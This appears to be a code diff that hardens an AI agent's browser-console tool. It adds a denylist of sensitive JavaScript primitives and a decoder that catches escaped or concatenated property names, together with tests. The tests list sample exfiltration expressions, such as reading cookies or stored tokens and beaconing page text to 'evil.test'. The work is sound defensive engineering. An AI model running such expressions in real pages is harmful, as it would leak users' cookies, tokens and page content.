diff --git a/tests/tools/test_browser_console.py b/tests/tools/test_browser_console.py index c1a14f1e3..bdcb691fa 100644 --- a/tests/tools/test_browser_console.py +++ b/tests/tools/test_browser_console.py @@ -189,6 +189,40 @@ class TestBrowserConsole: mock_eval.assert_not_called() + def test_expression_blocks_equivalent_bracket_sensitive_access_before_eval(self): + from tools.browser_tool import browser_console + + risky_expressions = [ + 'document["cookie"]', + "document['cookie']", + 'document[`cookie`]', + 'document["coo" + "kie"]', + 'document["co\\x6fkie"]', + 'globalThis["fetch"]("/exfil")', + 'window["XMLHttpRequest"]', + 'navigator["sendBeacon"]("https://evil.test", document.body.innerText)', + 'navigator["clipboard"].readText()', + 'globalThis["localStorage"].getItem("token")', + ] + with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \ + patch("tools.browser_tool._browser_eval") as mock_eval: + for expr in risky_expressions: + result = json.loads(browser_console(expression=expr, task_id="test")) + assert result["success"] is False, expr + assert "Blocked" in result["error"], expr + + mock_eval.assert_not_called() + + def test_expression_allows_string_literals_without_sensitive_tokens(self): + from tools.browser_tool import browser_console + + with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \ + patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": True})) as mock_eval: + result = json.loads(browser_console(expression='document.title.includes("Example")', task_id="test")) + + assert result == {"success": True, "result": True} + mock_eval.assert_called_once_with('document.title.includes("Example")', "test") + def test_expression_config_opt_in_allows_risky_eval(self): from tools.browser_tool import browser_console diff --git a/tools/browser_tool.py b/tools/browser_tool.py index bac3043f7..33854687d 100644 --- a/tools/browser_tool.py +++ b/tools/browser_tool.py @@ -3376,6 +3376,25 @@ _RISKY_BROWSER_EVAL_PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = ( (re.compile(r"\bdocument\s*\.\s*forms\b.*\bvalue\b", re.I | re.S), "form value extraction"), (re.compile(r"\bquerySelector(?:All)?\s*\([^)]*(?:input|textarea|password)[^)]*\).*\bvalue\b", re.I | re.S), "form value extraction"), ) +_JS_STRING_LITERAL_RE = re.compile( + r"""'(?:\\.|[^'\\])*'|\"(?:\\.|[^\"\\])*\"|`(?:\\.|[^`\\])*`""", + re.S, +) +_SENSITIVE_BROWSER_EVAL_TOKENS: tuple[tuple[str, str], ...] = ( + ("cookie", "document.cookie"), + ("localStorage", "web storage"), + ("sessionStorage", "web storage"), + ("indexedDB", "IndexedDB"), + ("caches", "Cache Storage"), + ("clipboard", "navigator sensitive API"), + ("credentials", "navigator sensitive API"), + ("serviceWorker", "navigator sensitive API"), + ("fetch", "network request"), + ("XMLHttpRequest", "network request"), + ("WebSocket", "network request"), + ("EventSource", "network request"), + ("sendBeacon", "network beacon"), +) def _allow_unsafe_browser_evaluate() -> bool: @@ -3397,6 +3416,51 @@ def _allow_unsafe_browser_evaluate() -> bool: return False +def _decode_js_string_literal(literal: str) -> str: + """Best-effort decode of a JavaScript string literal for policy checks. + + This is not a JS parser. It only normalizes common escaped property names + such as ``document["co\\x6fkie"]`` before the fail-closed sensitive-token + check below. + """ + if len(literal) < 2: + return literal + body = literal[1:-1] + try: + return bytes(body, "utf-8").decode("unicode_escape") + except Exception: + return body + + +def _decoded_js_string_literals(expression: str) -> list[str]: + return [_decode_js_string_literal(match.group(0)) for match in _JS_STRING_LITERAL_RE.finditer(expression)] + + +def _sensitive_browser_eval_token_reason(expression: str) -> Optional[str]: + """Return a risk reason for direct or quoted sensitive browser primitives. + + ``browser_console(expression=...)`` executes in the page origin. A denylist + that only searches direct spellings like ``document.cookie`` and ``fetch(`` + misses equivalent JavaScript property access such as ``document["cookie"]`` + or ``globalThis["fetch"](...)``. Treat sensitive primitive names as risky + whether they appear as identifiers or decoded string-literal property names. + Concatenating all string literals catches simple obfuscations like + ``document["coo" + "kie"]`` while the config opt-in preserves the escape + hatch for trusted pages. + """ + string_literals = _decoded_js_string_literals(expression) + concatenated_literals = "".join(string_literals).lower() + for token, reason in _SENSITIVE_BROWSER_EVAL_TOKENS: + if re.search(rf"\b{re.escape(token)}\b", expression, re.I): + return reason + token_lower = token.lower() + if any(token_lower in literal.lower() for literal in string_literals): + return reason + if token_lower in concatenated_literals: + return reason + return None + + def _risky_browser_eval_reason(expression: str) -> Optional[str]: """Return a human-readable reason if a JS expression uses risky primitives.""" if not expression: @@ -3404,7 +3468,7 @@ def _risky_browser_eval_reason(expression: str) -> Optional[str]: for pattern, reason in _RISKY_BROWSER_EVAL_PATTERNS: if pattern.search(expression): return reason - return None + return _sensitive_browser_eval_token_reason(expression) def _enforce_browser_eval_policy(expression: str) -> Optional[str]: